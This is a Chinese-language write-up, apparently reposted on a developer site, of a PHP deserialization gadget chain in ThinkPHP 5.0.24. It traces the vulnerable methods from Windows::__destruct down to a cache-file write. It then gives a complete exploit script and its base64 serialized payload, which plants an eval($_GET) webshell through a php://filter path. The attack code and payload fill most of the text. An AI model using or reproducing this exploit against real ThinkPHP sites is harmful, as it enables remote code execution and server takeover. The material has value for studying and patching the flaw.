Thinkphp 5.0.24 反序列化利用链


thinkphp/library/think/process/pipes/Windows.php

    public function __destruct()
    {
        $this->close();
        $this->removeFiles(); //跟
    }
    private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) { //触发__toString方法
                @unlink($filename);
            }
        }
        $this->files = [];
    }

thinkphp/library/think/Model.php,该Model是抽象类所以需要一个子类进行引用

    public function __toString()
    {
        return $this->toJson(); // 跟
    }
    public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options); // 跟
    }
    public function toArray()
    {
...
        if (!empty($this->append)) { // $this->append可控,可以设置为'bb' => 'getError'
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append($name)->toArray();
                } elseif (strpos($name, '.')) {
                    list($key, $attr) = explode('.', $name);
                    // 追加关联对象属性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append([$attr])->toArray();

                } else {
                    $relation = Loader::parseName($name, 1, false); //返回 $this->append中的值,也就是getError
                    if (method_exists($this, $relation)) { //判断方法是否存在该类
                        $modelRelation = $this->$relation(); // $relation=getError方法,该方法中$this->error可控,设置为 BelongsTo 类
                        $value         = $this->getRelationData($modelRelation); // $data来自这,getRelationData方法中调用$modelRelation中的getRelation方法,其中getRelation方法的query属性可控,导致触发query的__call方法

                        if (method_exists($modelRelation, 'getBindAttr')) {
                            $bindAttr = $modelRelation->getBindAttr();
                            if ($bindAttr) {
                                foreach ($bindAttr as $key => $attr) {
                                    $key = is_numeric($key) ? $attr : $key;
                                    if (isset($this->data[$key])) {
                                        throw new Exception('bind attr has exists:' . $key);
                                    } else {
                                        $item[$key] = $value ? $value->getAttr($attr) : null;
                                    }
                                }
                                continue;
                            }
                        }
                        $item[$name] = $value;
                    } else {
                        $item[$name] = $this->getAttr($name);
                    }
                }
....

接着就会来到BelongTo类中的getRelation方法,这里的$this->query可控,所以我们找一个没有removeWhereField方法并且存在__call方法的类来作为$this->query,这里挑选了Output类

    public function getRelation($subRelation = '', $closure = null)
    {
        $foreignKey = $this->foreignKey;
        if ($closure) {
            call_user_func_array($closure, [ & $this->query]);
        }
        $relationModel = $this->query
            ->removeWhereField($this->localKey) //当调用BelongsTo类中的removeWhereField的时候进行触发,但是BelongsTo中不存在removeWhereField,所以触发该query类中的__call方法,这里的query可控!
            ->where($this->localKey, $this->parent->$foreignKey)
            ->relation($subRelation)
            ->find();

        if ($relationModel) {
            $relationModel->setParent(clone $this->parent);
        }

        return $relationModel;
    }

Output类中的__call

thinkphp/library/think/console/Output.php

    public function __call($method, $args) //这里调用
    {
        if (in_array($method, $this->styles)) {
            array_unshift($args, $method);
            return call_user_func_array([$this, 'block'], $args); //首先会调用block
        }

        if ($this->handle && method_exists($this->handle, $method)) { // $this->handle可控
            return call_user_func_array([$this->handle, $method], $args);
        } else {
            throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
        }
    }
    protected function block($style, $message)
    {
        $this->writeln("<{$style}>{$message}</$style>"); //跟
    }
    public function writeln($messages, $type = self::OUTPUT_NORMAL)
    {
        $this->write($messages, true, $type); //跟
    }
    public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
    {
        $this->handle->write($messages, $newline, $type); //这里的$this->handle可控,所以又可以调用任意类中的public方法,全局搜索"->write(",来寻找调用write的类
    }

Memchache类

thinkphp/library/think/session/driver/Memcache.php

    public function write($sessID, $sessData)
    {
        return $this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']); //这里的$this->handle可控 全局搜索可控类中的set方法
    }

Memcached类

thinkphp/library/think/cache/driver/Memcached.php

    public function set($name, $value, $expire = null)
    {
        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }
        if ($expire instanceof \DateTime) {
            $expire = $expire->getTimestamp() - time();
        }
        if ($this->tag && !$this->has($name)) {
            $first = true;
        }
        $key    = $this->getCacheKey($name);
        $expire = 0 == $expire ? 0 : $_SERVER['REQUEST_TIME'] + $expire;
        if ($this->handler->set($key, $value, $expire)) {  //这里的$this->handler同样可控,所以全局搜索调用set方法的类
            isset($first) && $this->setTagItem($key); //这里其中还有继续调用set方法
            return true;
        }
        return false;
    }

thinkphp/library/think/cache/driver/File.php

    public function set($name, $value, $expire = null)
    {
        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }
        if ($expire instanceof \DateTime) {
            $expire = $expire->getTimestamp() - time();
        }
        $filename = $this->getCacheKey($name, true); //定义文件名
        if ($this->tag && !is_file($filename)) {
            $first = true;
        }
        $data = serialize($value);
        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }
        $data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data); //这里能够写入文件,但是这里的$data无法不可控
        if ($result) {
            isset($first) && $this->setTagItem($filename);
            clearstatcache();
            return true;
        } else {
            return false;
        }
    }

上面的函数走完出来之后 又回到set方法中调用setTagItem

    protected function setTagItem($name)
    {
        if ($this->tag) {
            $key       = 'tag_' . md5($this->tag);
            $this->tag = null;
            if ($this->has($key)) {
                $value   = explode(',', $this->get($key));
                $value[] = $name;
                $value   = implode(',', array_unique($value));
            } else {
                $value = $name;
            }
            $this->set($key, $value, 0); //这里又会进行调用 然后成功写入
        }
    }
    public function set($name, $value, $expire = null)
    {
        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }
        if ($expire instanceof \DateTime) {
            $expire = $expire->getTimestamp() - time();
        }
        if ($this->tag && !$this->has($name)) {
            $first = true;
        }
        $key    = $this->getCacheKey($name);
        $expire = 0 == $expire ? 0 : $_SERVER['REQUEST_TIME'] + $expire;
        if ($this->handler->set($key, $value, $expire)) {  //这里的$this->handler同样可控,所以全局搜索调用set方法的类,出来后接着下面
            isset($first) && $this->setTagItem($key); //这里其中还有继续调用set方法
            return true;
        }
        return false;
    }

exp:

<?php
namespace think\process\pipes;

class Windows
{
    private $files = [];
    public function __construct()
    {
        $this->files = [new \think\model\Merge];
    }
}

namespace think\model;
use think\Model;

class Merge extends Model
{
    protected $append = [];
    protected $error;

    public function __construct()
    {
        $this->append = [
            'bb' => 'getError'
        ];
        $this->error = (new \think\model\relation\BelongsTo);
    }
}

namespace think;
class Model{}

namespace think\console;
class Output
{
    protected $styles = [];
    private $handle = null;
    public function __construct()
    {
        $this->styles = ['removeWhereField'];
        $this->handle = (new \think\session\driver\Memcache);
    }
}

namespace think\model\relation;

class BelongsTo
{
    protected $query;
    public function __construct()
    {
        $this->query = (new \think\console\Output);
    }
}

namespace think\session\driver;
class Memcache
{
    protected $handler = null;
    public function __construct()
    {
        $this->handler = (new \think\cache\driver\Memcached);
    }
}


namespace think\cache\driver;

class Memcached
{
    protected $tag;
    protected $options = [];
    protected $handler = null;

    public function __construct()
    {
        $this->tag = true;
        $this->options = [
            'expire'   => 0,
            'prefix'   => 'PD9waHAKZXZhbCgkX0dFVFsnYSddKTsKPz4',
        ];
        $this->handler = (new File);
    }
}

class File
{
    protected $tag;
    protected $options = [];
    public function __construct()
    {
        $this->tag = false;
        $this->options = [
            'expire'        => 3600,
            'cache_subdir'  => false,
            'prefix'        => '',
            'data_compress' => false,
            'path'          => 'php://filter/convert.base64-decode/resource=./',
        ];
    }
}


echo base64_encode(serialize(new \think\process\pipes\Windows));

//TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxNZXJnZSI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czoyOiJiYiI7czo4OiJnZXRFcnJvciI7fXM6ODoiACoAZXJyb3IiO086MzA6InRoaW5rXG1vZGVsXHJlbGF0aW9uXEJlbG9uZ3NUbyI6MTp7czo4OiIAKgBxdWVyeSI7TzoyMDoidGhpbmtcY29uc29sZVxPdXRwdXQiOjI6e3M6OToiACoAc3R5bGVzIjthOjE6e2k6MDtzOjE2OiJyZW1vdmVXaGVyZUZpZWxkIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzoyOToidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGUiOjE6e3M6MTA6IgAqAGhhbmRsZXIiO086Mjg6InRoaW5rXGNhY2hlXGRyaXZlclxNZW1jYWNoZWQiOjM6e3M6NjoiACoAdGFnIjtiOjE7czoxMDoiACoAb3B0aW9ucyI7YToyOntzOjY6ImV4cGlyZSI7aTowO3M6NjoicHJlZml4IjtzOjM1OiJQRDl3YUhBS1pYWmhiQ2drWDBkRlZGc25ZU2RkS1RzS1B6NCI7fXM6MTA6IgAqAGhhbmRsZXIiO086MjM6InRoaW5rXGNhY2hlXGRyaXZlclxGaWxlIjoyOntzOjY6IgAqAHRhZyI7YjowO3M6MTA6IgAqAG9wdGlvbnMiO2E6NTp7czo2OiJleHBpcmUiO2k6MzYwMDtzOjEyOiJjYWNoZV9zdWJkaXIiO2I6MDtzOjY6InByZWZpeCI7czowOiIiO3M6MTM6ImRhdGFfY29tcHJlc3MiO2I6MDtzOjQ6InBhdGgiO3M6NDY6InBocDovL2ZpbHRlci9jb252ZXJ0LmJhc2U2NC1kZWNvZGUvcmVzb3VyY2U9Li8iO319fX19fX19fQ==

参考文章:https://www.cnblogs.com/xiaozhiru/p/12452528.html

还有一个方法是文章:https://www.anquanke.com/post/id/196364

这篇文件走的地方有点不同,走的是Model中的$item[$key] = $value ? $value->getAttr($attr) : null,getError方法中返回的是HasOne类


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM